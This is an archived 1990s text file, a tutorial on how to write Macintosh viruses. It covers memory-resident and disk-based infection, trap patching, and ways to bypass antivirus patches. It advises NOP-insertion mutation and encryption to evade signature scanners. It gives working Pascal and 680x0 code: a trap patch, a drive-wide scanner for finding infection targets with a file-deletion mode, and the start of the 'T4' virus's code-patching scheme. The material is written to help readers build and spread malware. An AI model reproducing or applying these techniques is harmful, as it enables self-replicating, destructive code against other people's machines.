home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK2.ZIP / Codbrk2 / Codbrk08.txt < prev    next >
Encoding:
Text File  |  1997-12-08  |  127.4 KB  |  2,611 lines

  1. A SHORT TUTORIAL ON HOW TO WRITE A MACINTOSH 
  2. VIRUS WITH EXAMPLES
  3.  
  4. 1: INTRODUCTION. WHAT IS A MACINTOSH VIRUS?
  5.  
  6. A macintosh virus is a virus that targets specifically the Mac OS. A Mac virus takes advantage 
  7. of the sophisticated Mac OS System, and replicates by attaching copies of itself to other files. It can 
  8. attach copies of itself to executable programs (APPLs) as well as non-executable files such as plain 
  9. TEXT files, or Extension Files, Control Panel files, Startup files and files that belong to any program.
  10.  
  11. 2: MEMORY RESIDENT (MR) AND DISK BASED (DB) VIRUSES
  12.  
  13. Currently, all the Mac viruses fall into two basic categories: Memory Resident viruses and Disk 
  14. Based viruses. MR viruses load into memory and stay there when an infected file is run, until a hard 
  15. restart is executed. They usually infect files as they are opened, or executed. The advantages of the 
  16. MR viruses is that they are always loaded once an infected file is run, and operate in the background. 
  17. They also do not require directory scanning procedures, as the OS provides the virus with the file to 
  18. be infected upon launching of that file. These viruses usually also infect files that are irrelevant to 
  19. their survival, as they attempt to infect whatever the OS feeds them with. For example, if there is a 
  20. MR virus loaded and the user clicks on say a word doc, the virus may infect the document file prior to 
  21. infecting the owner application. The most famous MR viruses are the ones that try to "replace" Mac 
  22. OS resources, such as MDEFs (Menu Definition Function code resources), WDEFs (Window 
  23. Definition Function code resources) and CDEFs (Control Definition Function code resources). These 
  24. resources are regular code resources of the Mac OS System, and the System itself contains and 
  25. maintains plenty of these, are they are vital to its operation. For example, the Mac OS draws the basic 
  26. window frames, the window bar, the zoom and close boxes and the grow icon using the WDEF with 
  27. resource id of 0. This resource was stored in the System file in early Systems, but was later put into 
  28. ROM, as it is often used. However, even when the code resource is in ROM, sometimes the System 
  29. file contains an alternate WDEF resource, with the same resource id as that of the ROM, in case in 
  30. needs to bypass the code resource in ROM. This will be explained later in detail. The disadvantages of 
  31. MR viruses are many. The most obvious is that the System keeps changing very often (At the time of 
  32. this writing, OS 8 is out) and therefore the corresponding code resources are changed as well. This 
  33. means that if you had programmed a WDEF virus into System 7.x.x, the virus may become obsolete 
  34. when it passes into a newer System. The most famous example was the early WDEF Mac virus, which 
  35. infected the Desktop file on Systems up to 6.0.8. The desktop file was changed into a data fork only 
  36. file in versions 7.x.x, thus the virus stopped functioning.
  37. The second category is the DB viruses. These viruses are notably more stable, and less 
  38. dependent on System resources. They do their work independently with each infected application that 
  39. is run, and usually require some sort of directory scanning in order to fetch the next file to be infected. 
  40. They load into memory once with every infected file run. DB viruses are notably larger than MB ones, 
  41. but may infect applications that are never run, and may even infect files more than once. They depend 
  42. on intricate techniques of file manipulation, and usually take some time to do their job. But, as I 
  43. already mentioned, they are immune to System changes and may be easier to adapt if you decide to 
  44. reprogram them at a later time.
  45. MR viruses, usually try to infect the System first. Once this is achieved, every time the Mac OS 
  46. loads, the virus will activate. DB viruses usually do not infect the System, rather they go directly to 
  47. application files.
  48. Technically, there is a distinction between viruses that infect APPLs and Startup documents. 
  49. There are viruses that infect only Startup docs, such as INITs and Control Panels, while there are 
  50. viruses which infect only APPLs. The viruses that infect Startup docs multiply much less often that 
  51. those who infect APPLs, as Startup documents are less frequently shared. People usually share 
  52. applications much more often. But, there are some viruses which can do both: They can use 
  53. applications for propagation purposes, but their main work is done while being loaded off a Startup 
  54. document in which they reside.
  55. For a full catalog of the known mac viruses and short descriptions, try downloading John 
  56. Nosrtad's program Disinfectant from Northwestern University. For in depth short analyses of how the 
  57. most common of the known ones work, go to the Virex site and start poking around in  the "animal 
  58. zoo" section.
  59.  
  60. PREREQUISITES: WHAT DO I NEED TO KNOW TO BE ABLE TO 
  61. WRITE A MAC VIRUS?
  62.  
  63. Macintosh virus writing is serious business and it is not easy. You need to be familiar with a 
  64. plethora of resources, most of which have to do with knowing how the Mac OS operates and how 
  65. programs work. If you have no experience whatsoever, I suggest FIRST AND FOREMOST, 
  66. downloading the entire Inside Macintosh Manuals from the Apple ftp Site 
  67. (ftp.appleccom/devtools/documentation/Inside Macintosh/). Or if you prefer, order it on CD from 
  68. APDA. Without the Inside Macintosh manuals, don't even think about it. Quit now, while you have 
  69. your sanity.
  70. The second thing you DEFINATELY need, is to be a good Mac programmer and to have some 
  71. experience programming at least a dummy application for the Mac. If you don't know how to program 
  72. the Mac, forget it. There are plenty of good development Mac packages out there, notably for C, 
  73. Pascal and Assembly. If you've never programmed a Mac application of some sort, quit now.
  74. The third thing you need to know, is of course the 680x0 Assembly language. While the newer 
  75. macs use the PowerPC RISC chip, you definitely need to know 680x0 assembly, in order to be 
  76. backwards compatible. You cannot expect your virus to run only on PowerPC machines. That's 
  77. unrealistic. While PowerPC Assembly language is useful, you will find yourself spending most of your 
  78. time coding in 680x0 assembly. And that's because most of the internal Mac OS routines are still in 
  79. 680x0 assembly code.
  80. You will definitely need a good Assembly language development package. I suggest MPW 
  81. 3.x.x or some dev package that allows you to embed inline code into your programs.  (I use THINK 
  82. Pascal 4.0.2) You may use C if you prefer, and use the asm {} directive. The choice is entirely up to 
  83. you. Just make sure that the development package you use, has utilities for programming in 680x0 
  84. asm.
  85. You will need a good disassembler. The one I use is the code editor for ResEdit 2.1.3, or 
  86. Resourcerer, which has one built in. Either way, you will find yourself spending hours upon hours of 
  87. your time examining your compiled or assembled code. And at this level of programming, you need 
  88. all the help you can get. You cannot be too careful with this. One simple mistake and the virus will 
  89. blow your System into smithereens.
  90. You will also need a good AV program that PREVENTS infections, so you can track your 
  91. virus while testing it. I use Chris Johnson's GateKeeper, which gives one a complete warning about 
  92. what is being modified, and by whom. Without such a program, you cannot test a virus and chances 
  93. are it will escape into your machine. If this happens, you will have no way to disinfect your System, 
  94. except manually and IF you know how. You may use Symantec's SAM, or Virex. It doesn't matter. 
  95. Just make sure you have a way to be notified if an infection occurs. Without it, virus testing is 
  96. impossible. And believe me, you will be spending many hours testing your code.
  97. It is a good idea to have MacsBug installed into your System as well, so you can test code at 
  98. runtime. Something which static disassemblers cannot do. You can get MacsBug from the Apple ftp 
  99. site.
  100.  
  101. WHAT DEVELOPMENT PACKAGE CAN I USE?
  102.  
  103. You may use any package that has facilities for creating stand alone code segments, such as 
  104. WDEF's, CDEF's, MDEFs, MBDFs, and stand alone code modules, such as DRVRs and other CODE 
  105. resources. It does NOT have to be an assembly language package, but it may be for example 
  106. Symantec's C compiler with the asm {} directive, or THINK Pascal (which allows for Inline code in 
  107. the form of $xxxx). I believe that for a beginner virus writer, the MPW package is probably the best 
  108. choice, as it offers, three or four compilers in one. It has both 680x0 and PowerPC native Assemblers, 
  109. a C native compiler, and a Pascal 680x0 compiler. Good value for your money. The virus examples 
  110. that will follow at the end of this article were all written using THINK Pascal, but they could have 
  111. been written in any other development package that supports inlining of embedded code. However, 
  112. understand that if you use a higher language development package, you have to be thoroughly 
  113. familiar with how the specific compiler works, from the way it allocates stack frames, to the sizes of 
  114. the argument variables, to quality of code generation. I spent 5 years working with the THINK Pascal 
  115. compiler before I attempted to write the viruses. The advantages of using a high level language are 
  116. hard to come by. Even for virus writing. For example, as you will see, directory scanning is non-
  117. trivial business, and is easily implemented in Pascal. If you try to code directory scanning in asm, you 
  118. will have to test the thing for months before it worked. The main disadvantage of a higher language is 
  119. that the compiler usually inserts runtime code into your modules which the virus will carry with it 
  120. (dead code) always. There are tricks around this, and if your compiler can create stand alone modules,  
  121. (such as a MDEF) then it will NOT embed unneeded runtime code. One other disadvantage of higher 
  122. languages is the lack of global data and difficult register manipulation. You virus will definitely need 
  123. scratch variables, and you have to be careful to allocate all of these independently of the program's 
  124. global variables. A well balanced stack and careful use of dynamic memory can be a solution to that. 
  125. If you do not allocate many excess variables, you can do it either dynamically or statically, with very 
  126. little interference from the host. If you manage your memory carefully, your host will only be happy to 
  127. oblige you. If you make large memory requests though, be prepared to see the host crashing, as it has 
  128. no assumptions on what your virus is doing underneath its back. Usually, the largest memory request 
  129. that needs to be made on the host, is the size of the virus itself and this cannot exceed a couple of K at 
  130. the most. Of course, if you use assembly language, you have complete freedom over your variables, 
  131. which can be allocated regularly at the end of the virus body. This is the best advantage of assembly 
  132. language. You also have to be careful not to interfere with the registers of your compiled code 
  133. resource, if you use a high level language. The best practice is to save all the registers (A0-A4/D0-D7) 
  134. RIGHT AFTER your virus entry point, and restore them RIGHT BEFORE your virus exit point. This 
  135. way, the host will find its registers intact after your virus finishes executing. Don't touch registers A5, 
  136. A6 and A7. A5 is used to reference the host's global variables, (details in Inside Macintosh) and 
  137. chances are if you mess with it, the host will crash. A6 is used for static link frames, so either your 
  138. compiler will take care of that, or you if you are breaking your virus code into sub-procedures in asm. 
  139. A7 is used as the stack pointer. The use of A7 in an uninfected application and in an infected one is 
  140. NEVER the same. And that's because the virus will definitely modify the stack a bit for its own 
  141. private storage and links. Be very careful to allocate and deallocate correctly your stack frames. 
  142. Unbalanced stacks are crash cause #1 in virus testing. You will see an example of the dangers lurking 
  143. behind an unbalanced stack in the CODE 32767 example, later in this article.
  144.  
  145. SYSTEM TRAPS AND TRAP PATCHING
  146.  
  147. As you know, the characteristic look and feel of any Mac program is due mainly to the 
  148. extensive use of many System Traps that correspond to specific routines in Inside Macintosh. For 
  149. example, most of the procedures in Inside Macintosh are actually routines that get executed when the 
  150. processor tries to execute an instruction of the form $Axxx. The 680x0 processor does not recognize 
  151. such instructions (as well as $Fxxx) and when it encounters one, it generates an exception. An 
  152. exception vector takes control and the system calculates an address based on the number that follows 
  153. the A digit. The details are in IM. For example, the procedure call 
  154. "AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly code:
  155.  
  156. 00000008: 2F2E FFFC          MOVE.L    theHandle(A6),-(A7)
  157. 0000000C: 2F3C 4D44 4546     MOVE.L    #$4D444546,-(A7); 'MDEF'
  158. 00000012: 3F3C 0020          MOVE.W    #$0020,-(A7)
  159. 00000016: 486E FEFC          PEA       myCDEF(A6)
  160. 0000001A: A9AB               _AddResource
  161.  
  162. As you can see, the parameters are first pushed onto the stack and then the trap $A9AB is executed. 
  163. In reality, the trap is never executed. It generates an exception that dispatches the PC onto some table 
  164. that contains the addresses of all the system routines. The table looks something like this:
  165.  
  166. Trap #        Routine Address
  167. ...        ...
  168. $A9AB        $3501980 (routine address with index 171 of table)
  169. $A9AC        $9ACD0F0 (routine address with index 172 of table)
  170. $A9AD        $8709FFA (routine address with index 173 of table)
  171. ...        ...
  172.  
  173. The System calculates the specifics of the dispatch based on the binary representation of the 
  174. trap: 
  175. $A9AB=1010100110101011
  176.  
  177. Bit 8 for example is the bit that charachterizes toolbox traps. The first 7 bits (from right) 
  178. provide the index into the trap dispatch table. (Here $AB=171). More details in Inside Macintosh.
  179. Now as you may have suspected, it is obvious that ANY address can be installed in a specific 
  180. trap dispatch table entry. For example, we don't have to have address $3501980 in entry 171. We can 
  181. install a different address, that corresponds to a different routine. But because usually the functionality 
  182. of the original needs to be preserved, we need to be able to call the original routine as well. The way 
  183. to do that is called "Trap Patching". It is the process of installing a "patch" (head or tail) to the actual 
  184. routine's address. We can install something prior to calling the original (called head patch) or 
  185. something that post-processes the original (tail patch). What follows is an example of how to write a 
  186. routine patch. For simplicity, I will use here the routine for "DrawString(theStr:Str255)".
  187. The  patch consists of two separate projects. The actual patch code (an MPW asm file) and a 
  188. THINK Pascal project that creates an INIT that installs the new routine at startup.
  189.  
  190. File DrawStringPatch.a
  191.         STRING    ASIS
  192.  
  193.         INCLUDE    'SysEqu.a'
  194.         INCLUDE     'SysErr.a'
  195.         INCLUDE    'ToolEqu.a'
  196.         INCLUDE    'Traps.a'
  197.  
  198.         SEG    'DrawStringPatch'
  199. DrawStringPatch    MAIN
  200. Entry
  201.     BRA.S    MyDrawString    ;branch around next 4 bytes
  202. OldDrawString
  203.     DC.L    0            ;original address is stored here!!
  204. ;what follows from here is the actual pre-processing code
  205. MyDrawString
  206.     MOVEM.L    A0-A4/D0-D7,-(SP)    ;save registers
  207.     MOVE.W    #4,-(SP)        ;push integer 4 onto stack
  208.     _SysBeep                ;sound the beeper
  209. ;end of pre-processing code
  210. ExitPatch
  211.     MOVEM.L    (SP)+,A0-A4/D0-D7    ;restore registers
  212.     MOVE.L    OldDrawString,A0    ;get address of old DrawString
  213.     JMP    (A0)                ;see ya baby...
  214.     END
  215.  
  216. The build MPW commands to create the patch code segment:
  217.  
  218. asm -o DrawStringPatch.a.o DrawStringPatch.a
  219. link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt 'PTCH'=35 -ra 
  220. DrawStringPatch=resSysHeap,resPreload,resLocked
  221.  
  222. File InstallDrawStringPatch.p
  223.  
  224. unit InstallAPatch;
  225. interface
  226.  procedure Main;
  227. implementation
  228.  const
  229.   _DrawString = $A884;    {Trap number for DrawString routine}
  230.  type
  231.   PTCHHeader = record    {look at the asm file}
  232.     BRAS: integer;    {the first instruction is a BRA.S}
  233.     OriginalAddress: longint;    {the place we store original address}
  234.    end;
  235.   PTCHHeaderPtr = ^PTCHHeader;    {Master pointer}
  236.   PTCHHeaderHandle = ^PTCHHeaderPtr;    {Handle}
  237.  procedure Main;
  238.   var
  239.    thePTCH: Handle;
  240.  begin
  241.   thePTCH := GetResource('PTCH', 35);{load the resource into mem}
  242.   if thePTCH <> nil then        {if good handle}
  243.    begin
  244. {Store OriginalAddress at header of resource. Look at asm file}
  245.     PTCHHeaderHandle(thePTCH)^^.OriginalAddress :=             
  246.     NGetTrapAddress(_DrawString, ToolTrap);
  247. {now set trap dispatch table address}
  248. {to Entry Point of Patch (Entry))
  249.     NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap);
  250.     DetachResource(thePTCH);    {detach from memory}
  251.    end;
  252. end;
  253. end.
  254.  
  255. Create the INIT with id=35 with the THINK Pascal project.
  256. After you assemble the MPW asm file, open the code segment patch file with ResEdit and copy 
  257. the 'PTCH' resource into the INIT which you created with the THINK Pascal project. Then, put the 
  258. INIT into your System folder. Be prepared for thousands of beeps.
  259. OK, now for the analysis of what we have done: First the MPW file. As you can see there are 
  260. certain params for the assembler which you should take for granted for now. The first instruction is a 
  261. BRA.S MyDrawString. This forces the PC to immediately go to label "MyDrawString". Just to avoid 
  262. hitting the actual address which is at "OldDrawString". So now, we are in our space. We can do 
  263. whatever we want. The original has not been called yet and we have all the tools at our disposal. Here, 
  264. we do something simple, like sound the beeper. Next, after we are done with whatever we want to do, 
  265. we restore the regs, and load the original address from the place where the Pascal INIT has put it at 
  266. run time: At "OldDrawString". And finally JMP to that location, which forces the original to be 
  267. called. That's it. A couple of things to note: We use a JMP and not a JSR. Can you tell why? Because 
  268. the original routine is responsible for returning to the caller of the _DrawString trap. IF we wanted to 
  269. do a tail-patch, we would call JSR (A0) and the original routine would return to us, first, we could 
  270. then do post-processing and then return to the caller! This is left as an exercise to the reader.
  271.  
  272. HOW MAC ANTIVIRAL PROGRAMS WORK
  273.  
  274. Ok, so why all the fuss with Trap patching? Well you guessed it: AV programs use it to 
  275. PREVENT viruses from using unauthorized calls of System Routines. For example, an AV such as 
  276. GateKeeper or SAM Intercept, head-patches certain traps and intercepts the calls to the originals. It 
  277. looks at the user, tries to figure out what's being modified and which file is being affected BEFORE 
  278. the original routine is called. That way, if it is an unauthorized call, the original routine is never 
  279. called. Smart enough? This is the main technique todate that most preventive AV programs use. The 
  280. main reason why this technique is so successful is because there is no easy way to extract the original 
  281. address of the routine that's patched. For example, a good virus would look at the trap address, figure 
  282. out if it is patched, and if it is, it will try to extract the original, say, "AddResource" address and use 
  283. that instead of going through the AV patch. But how does one extract the original address? Very good 
  284. question. And it has no easy solution, as the program that patches the trap (notably an AV) can store 
  285. the original address anywhere it wants for its own use. You saw how we stored it at "OldDrawString". 
  286. It could have been anyplace in our code. If you are good in disassembling 680x0 code, you can load 
  287. GateKeeper and trace one of the famous virus routines, such as "AddResource" or "ChangedResource" 
  288. and try to figure out using MacsBug where the original address is hidden. But even if you succeed, the 
  289. success will only be valid for the particular AV program. Tough stuff. And another catch: Don't forget 
  290. that the System itself patches traps with newer versions of routines that are unavailable to ROM. So it 
  291. is really hard to recover the original address, because many patches on top of each other may exist.
  292.  
  293. A WORD ON MAC DISINFECTING AV PROGRAMS AND 
  294. MUTATION
  295.  
  296. Besides PREVENTIVE AV programs, there are also the famous DISINFECTION programs, 
  297. that remove viruses on already infected Systems. The most famous ones are Disinfectant by John 
  298. Norstad of NorthWestern U, SAM by Symantec and Virex. I will not address by example the question 
  299. of how these programs detect viruses, even though you are pretty familiar with the technique already. 
  300. The programmers of these programs, take a virus, analyze its behavior, look at its code, and try to 
  301. determine the most likely pattern to occur with each infection. To my knowledge only some strands of 
  302. the 'nVIR' Mac virus can mutate. There haven't been any other mac viruses that mutated. But 
  303. mutation is not very hard to implement. The most common form of mutation consists of inserting lots 
  304. of NOP instructions ($4E71 for the 680x0) in the viral code and has as its object to prevent the 
  305. examiner from extracting a stable byte pattern with which to recognize the virus. For example, if the 
  306. examiner finds that the byte pattern "$DEADBEEF" occurs inside the virus code, if the virus mutates 
  307. he has no way to foretell whether the next hybrid will contain this pattern. The virus may have 
  308. changed at exactly this place and may have become "$DEAD4E71BEEF". As such, if the AV 
  309. program was looking for the pattern "$DEADBEEF" it would fail. BUT, if it looked for BOTH the 
  310. patterns "$DEAD" AND "$BEEF" it would detect it. However, the math of pattern matching in 
  311. mutation is really crappy, as there is this little theorem that says that fake alerts come about when the 
  312. pattern splits into smaller and smaller pieces. In the previous example, with every pattern split search, 
  313. such as "$DEAD" AND "$BEEF" chances increase that these byte patterns will show up normally in 
  314. uninfected hosts, so the AV program will report a fake alert. For even better results, break your code 
  315. even further. If your code looked like $DE, $4E71, $4E71, $AD, $4E71, $BE, $4E71, $4E71, $4E71, 
  316. $EF, it would really be hard for an AV to detect it, as  these byte patterns ($DE, $AD, $BE,$EF) may 
  317. occur naturally throughout the regular host code. So be creative. Insert as many NOPs as you like, 
  318. without making your virus too bulky or too complicated. Remember that every time you insert NOPs 
  319. into your code, you have to adjust your branching points, so that the new hybrid uses the correct 
  320. branching mechanisms without branching to twilight zone. This is an acute problem with the virus's 
  321. memory addressing. If for example you reference your var at $345000AB, the new hybrid will have to 
  322. adjust its reference to account for the code additions in length because of all these extra NOP 
  323. instructions. And sorry to say, these modifications are best written in assembler. If you try to force the 
  324. output of a compiler to mutate you are in deep waters. You will also have to take care to hide your 
  325. mutation engine itself, because IT cannot mutate and if your examiner figures out where it is, your 
  326. virus will be caught. Not everything can mutate. This is a theorem in Mathematics. When you use 
  327. self-reference (and viruses use it all the time), there is one point that has to remain stable throughout. 
  328. Hide your mutation engine well. Also, keep in mind that you cannot insert NOPs everywhere. If you 
  329. insert one in the middle of an instruction, the mac will definitely bomb when it hits it. You have to 
  330. count your boundaries, and these are ends of instructions, or beginnings of instructions. Anyplace else 
  331. is a no-no, unless your NOP mutation is also encryption. In my opinion this would be the best 
  332. combination. An encryption which will use NOPs to mess up the viral code patterns, but which will 
  333. DECRYPT BEFORE it is executed. Thus NOPs are allowed anywhere, and you can break your code 
  334. into many little pieces. On the macintosh, no such virus has been implemented yet as of this writing 
  335. (10/97).
  336.  
  337. FIRST EXAMPLE: A DIRECTORY SCANNING PROCEDURE
  338.  
  339. Many potential virus writers usually don't know how to extract the next to be infected file. 
  340. Below is an example of how the user can traverse the entire drive directory, and list all available files. 
  341. This procedure is used modified later to search for potential infection candidates. It would help if you 
  342. had a copy of Inside Macintosh: Files handy. Otherwise you will miss much of the information. Much 
  343. of what follows inside the procedure is pretty trivial. Most of your questions should be resolved by the 
  344. comments. Again, specific questions that you might have usually will pertain to the file manager and 
  345. there is nothing I can do about it. Read Inside Macintosh.
  346.  
  347. {This program is an example of how the user can scan the directory}
  348. {to list all available files. Additional file filtering examples}
  349. {given in the viruses themselves}
  350. program scandisk;
  351.  label
  352.  1000;
  353.  type
  354.   cinfopbhandle = ^cinfopbptr;    {look at Inside Macintosh:Files}
  355.  var
  356.  theworld: SysEnvRec;    {System Environment record}
  357.  cipbh: cinfopbhandle;    {handle to our cinfopb}
  358.  pathname: str255;        {the returned file pathname}
  359.  scanname: string[31];    {name of the file minus path name}
  360.  foundone: boolean;    {true if we found one file}
  361.  i, j, vrefnum, frame: integer;
  362.  TextRect: Rect;
  363.  time1, time2: longint;
  364.  Delete: boolean;    {will become true if we decide to erase the drive}
  365.  ApplicationFile, SystemFile: boolean;    {kind of file scanned}
  366.  OldTicks: Longint;        {ticks for cursor}
  367.  theAnimatedCursor: array[0..7] of CursHandle; {curs handles for animation}
  368.  OldPort, WaitDialog: DialogPtr;    {graf Pointers}
  369.  procedure ShowWaitDialog;
  370. {This procedure Puts up a wait dialog}
  371.  var
  372.   DialogBounds: Rect;
  373.  begin
  374.   SetRect(DialogBounds, 100, 100, 230, 130);
  375.   GetPort(OldPort);
  376.   WaitDialog := NewDialog(nil, DialogBounds, '', TRUE, 1, Pointer(-1), FALSE, 0, nil);
  377.   SetPort(WaitDialog);
  378.   MoveTo(20, 20);
  379.   TextFont(SystemFont);
  380.   TextSize(12);
  381.   DrawString('Please wait...');
  382.   DrawDialog(WaitDialog);
  383.  end;
  384.  procedure KillWaitDialog;
  385. {Kills the wait dialog above}
  386.  begin
  387.   SetPort(OldPort);
  388.   DisposDialog(WaitDialog);
  389.  end;
  390.  procedure SpinCursor;
  391. {Spins the cursor, for some delay feedback}
  392.   var
  393.  NewTicks: longint;
  394.  begin
  395.   NewTicks := TickCount;
  396.   if abs(NewTicks - OldTicks) >= 50 then
  397.    begin
  398.     frame := (frame + 1) mod 8;
  399.     SetCursor(theAnimatedCursor[frame]^^);
  400.     OldTicks := NewTicks;
  401.   end;
  402.  end;
  403.  procedure nextcleanapp (dirid: longint);
  404. {This procedure Traverses the entire drive and lists all available}
  405. {files by writing their names to th output window}
  406.  var
  407.   indx, ref, i: integer;
  408.   err: oserr;
  409.  begin
  410.   indx := 0;    {start at file index=0 for a specific directory}
  411.   repeat
  412.    indx := indx + 1;
  413.    with cipbh^^ do
  414.     begin
  415.      ionameptr := @scanname;    {give space for return string}
  416.      iofdirindex := indx;        {give object index}
  417.      iodirid := dirid;            {give directory id}
  418.      iovrefnum := 0;        {give vrefnum}
  419.      err := PBGetCatInfo(cipbh^, FALSE);    {call magic trap}
  420.      if (err <> noerr) and (err <> fnferr) then
  421.     writeln(err);    {report if any errors found}
  422.     if err = noerr then
  423.      begin
  424.       if length(pathname) + length(scanname) <= 255 then
  425.        begin
  426.         pathname := concat(pathname, ':', scanname);{stack names}
  427.         if bittst(@ioflattrib, 3) then {if it is a directory then}
  428.          nextcleanapp(iodirid)    {call recursivelly one level down}
  429.         else        {file}
  430.        begin
  431.        ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
  432. (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
  433.        SystemFile := pos(scanname, 'System') <> 0;
  434.        if not Delete and ApplicationFile then        {write APPLs}
  435.         writeln(pathname)    {real call here would be to return the name}
  436.        else if Delete and not ApplicationFile and not SystemFile then
  437.         writeln(pathname);   {real call here would be to HDelete}
  438.        end;
  439.        SpinCursor;
  440.        i := length(pathname);
  441.        j := i;
  442.       while pathname[i] <> ':' do
  443.        i := i - 1;
  444.       pathname := omit(pathname, i, j); {unstack last file name}
  445.      end;{if length<=40}
  446.     end;{if err=noerr}
  447.    end;{with cipbh^ do}
  448.    while Button do
  449.      ;
  450.    until (err = fnferr);
  451.  end;
  452. begin
  453.  SetRect(TextRect, 20, 50, 600, 500);
  454.  SetTextRect(TextRect);
  455.  ShowText;
  456.  if sysenvirons(1, theworld) <> noerr then        {get the environment}
  457.   goto 1000;
  458.  readln(delete);
  459.  pathname := '';
  460.  scanname := '';
  461.  foundone := false;
  462.  vrefnum := theworld.sysvrefnum;
  463.  if setvol(nil, vrefnum) <> noerr then     {get startup volume}
  464.   goto 1000;
  465.  if getvol(@pathname, vrefnum) <> noerr then     {get startup volume}
  466.   goto 1000;
  467.  foundone := false;        {tentativelly}
  468.  theAnimatedCursor[0] := GetCursor(WatchCursor);
  469.  for frame := 1 to 7 do
  470.   theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);
  471.  frame := 0;
  472.  OldTicks := TickCount;
  473.  ShowWaitDialog;
  474. {Allocate memory block for our parameter block}
  475.  cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
  476.  if memerror <> noerr then
  477.   goto 1000;        {exit if we can't get the memory}
  478.  movehhi(handle(cipbh));
  479.  hlock(handle(cipbh));        {lock to use}
  480.  nextcleanapp(fsrtdirid);        {search for next uninfected appl}
  481.  hunlock(handle(cipbh));        {unlock to free}
  482.  disposehandle(handle(cipbh));        {dispose of}
  483.  KillWaitDialog;    {kill dialog}
  484.  InitCursor;
  485. 1000:
  486. end.
  487.  
  488. SECOND EXAMPLE: THE T4 VIRUS
  489.  
  490. DESCRIPTION: 
  491. (The entire T4 virus project can be downloaded from 
  492. <http://codebreakers.simplenet.com>)
  493. *************************************************************************
  494.                       the T4 BACTERIOPHAGE virus
  495. *************************************************************************
  496. The principle behind the T4 virus is simple. Every (correct) Mac application contains the
  497. following calls somewhere in its CODE segments:InitGraf,InitFonts,
  498. InitWindows,InitMenus,TEInit,and InitDialogs. So the virus takes advandage of
  499. the fact that these calls are always there, to use them for its replication.
  500. The initialization code in Pascal looks like this:
  501. InitGraf(@thePort);
  502. InitFonts;
  503. InitWindows;
  504. InitMenus;
  505. TEInit;
  506. InitDialogs(nil); or InitDialogs(@AddressOfResumeProc);
  507. ...
  508. depending on whether the programmer has a resume procedure in case of an error, (System 7.x.x does 
  509. not require a resume proc) the code after disassembly looks like this:
  510. ***********************************************************
  511. 00000014:4E56 0000    ;LINK    A6,#$0000    ;start of main link frame
  512. 00000018:486D xxxx    ;PEA    -$xxxx(A5)    ;push address of "theport"
  513. 0000001C:A86E        ;_InitGraf        ;initialization starts...
  514. 0000001E:A8FE        ;_InitFonts        ;rest of initialization...
  515. 00000020:A912        ;_InitWindows    ;rest of initialization...
  516. 00000022:A930        ;_InitMenus        ;rest of initialization...
  517. 00000024:A9CC        ;_TEInit        ;rest of initialization...
  518. 00000026:42A7        ;CLR.L    -(SP)    ;push 0 longword (nil ptr)
  519. 00000028:A97B        ;_InitDialogs    ;what makes it possible
  520. 0000002A:xxxx        ;xxxx            ;rest of application code
  521. 0000002C:xxxx        ;xxxx            ;rest of application code
  522. 0000002E:xxxx        ;xxxx            ;rest of application code
  523. 00000030:xxxx        ;xxxx            ;rest of application code
  524. 00000032:4E5E        ;UNLK    A6    ;end of main link frame
  525. 00000034:4E75        ;RTS            ;return to finder
  526. ***********************************************************
  527. if instead the programmer had called InitDialogs(@ResumeProc);
  528. the code will look like this:
  529. ***********************************************************
  530. 00000014:4E56 0000    ;LINK    A6,#$0000    ;start of main link frame
  531. 00000018:486D xxxx    ;PEA    -$xxxx(A5)    ;push address of "theport"
  532. 0000001C:A86E        ;_InitGraf        ;initialization starts...
  533. 0000001E:A8FE        ;_InitFonts        ;rest of initialization...
  534. 00000020:A912        ;_InitWindows    ;rest of initialization...
  535. 00000022:A930        ;_InitMenus        ;rest of initialization...
  536. 00000024:A9CC        ;_TEInit        ;rest of initialization...
  537. 00000026:486D xxxx    ;PEA    -$xxxx(A5)    ;push address of resume proc
  538. 0000002A:A97B        ;_InitDialogs    ;what makes it possible
  539. 0000002C:xxxx        ;xxxx            ;rest of application code
  540. 0000002E:xxxx        ;xxxx            ;rest of application code
  541. 00000030:xxxx        ;xxxx            ;rest of application code
  542. 00000032:xxxx        ;xxxx            ;rest of application code
  543. 00000034:4E5E        ;UNLK    A6    ;end of main link frame
  544. 00000036:4E75        ;RTS            ;return to finder
  545. ***********************************************************
  546. Now the virus will function on the InitDialogs Trap, and add a branch
  547. instruction to its own code, and then return exactly at the point after the
  548. branch, to therefore let the application continue without any interference.
  549. The virus must assume all the managers initialized, so the patch must be AFTER all initialization 
  550. calls and BEFORE the rest of application code.
  551. It follows that there are two possibilities for the patch instructions:
  552. In each case look at the two tables above, and compare with the tables below which are the same 
  553. tables, except that the virus has patched the code.
  554. Case WITHOUT Resume Procedure:
  555. ***********************************************************
  556. 00000014:4E56 0000    ;LINK    A6,#$0000    ;start of main link frame
  557. 00000018:486D xxxx    ;PEA    -$xxxx(A5)    ;push address of "theport"
  558. 0000001C:A86E        ;_InitGraf        ;initialization starts...
  559. 0000001E:A8FE        ;_InitFonts        ;rest of initialization...
  560. 00000020:A912        ;_InitWindows    ;rest of initialization...
  561. 00000022:A930        ;_InitMenus        ;rest of initialization...
  562. 00000024:A9CC        ;_TEInit        ;rest of initialization...
  563. 00000026:6100 000C        ;BSR    *+$000A    ;branch to virus (00000036:)
  564. 0000002A:xxxx        ;xxxx            ;rest of application code
  565. 0000002C:xxxx        ;xxxx            ;rest of application code
  566. 0000002E:xxxx        ;xxxx            ;rest of application code
  567. 00000030:xxxx        ;xxxx            ;rest of application code
  568. 00000032:4E5E        ;UNLK    A6    ;end of main link frame
  569. 00000034:4E75        ;RTS            ;return to finder
  570. --------------- VIRUS ----------------------------------------------------------
  571. 00000036:xxxx        ;xxxx            ;start of viral code
  572. 00000038:A97B        ;_InitDialogs    ;don't forget InitDialogs
  573. 0000003A:xxxx        ;xxxx            ;continue viral code
  574. 0000003C:xxxx        ;xxxx            ;continue viral code
  575. 0000003E:xxxx        ;xxxx            ;continue viral code
  576. 00000040:xxxx        ;xxxx            ;continue viral code
  577. 00000042:4E75        ;RTS            ;return to caller (0000002A:)
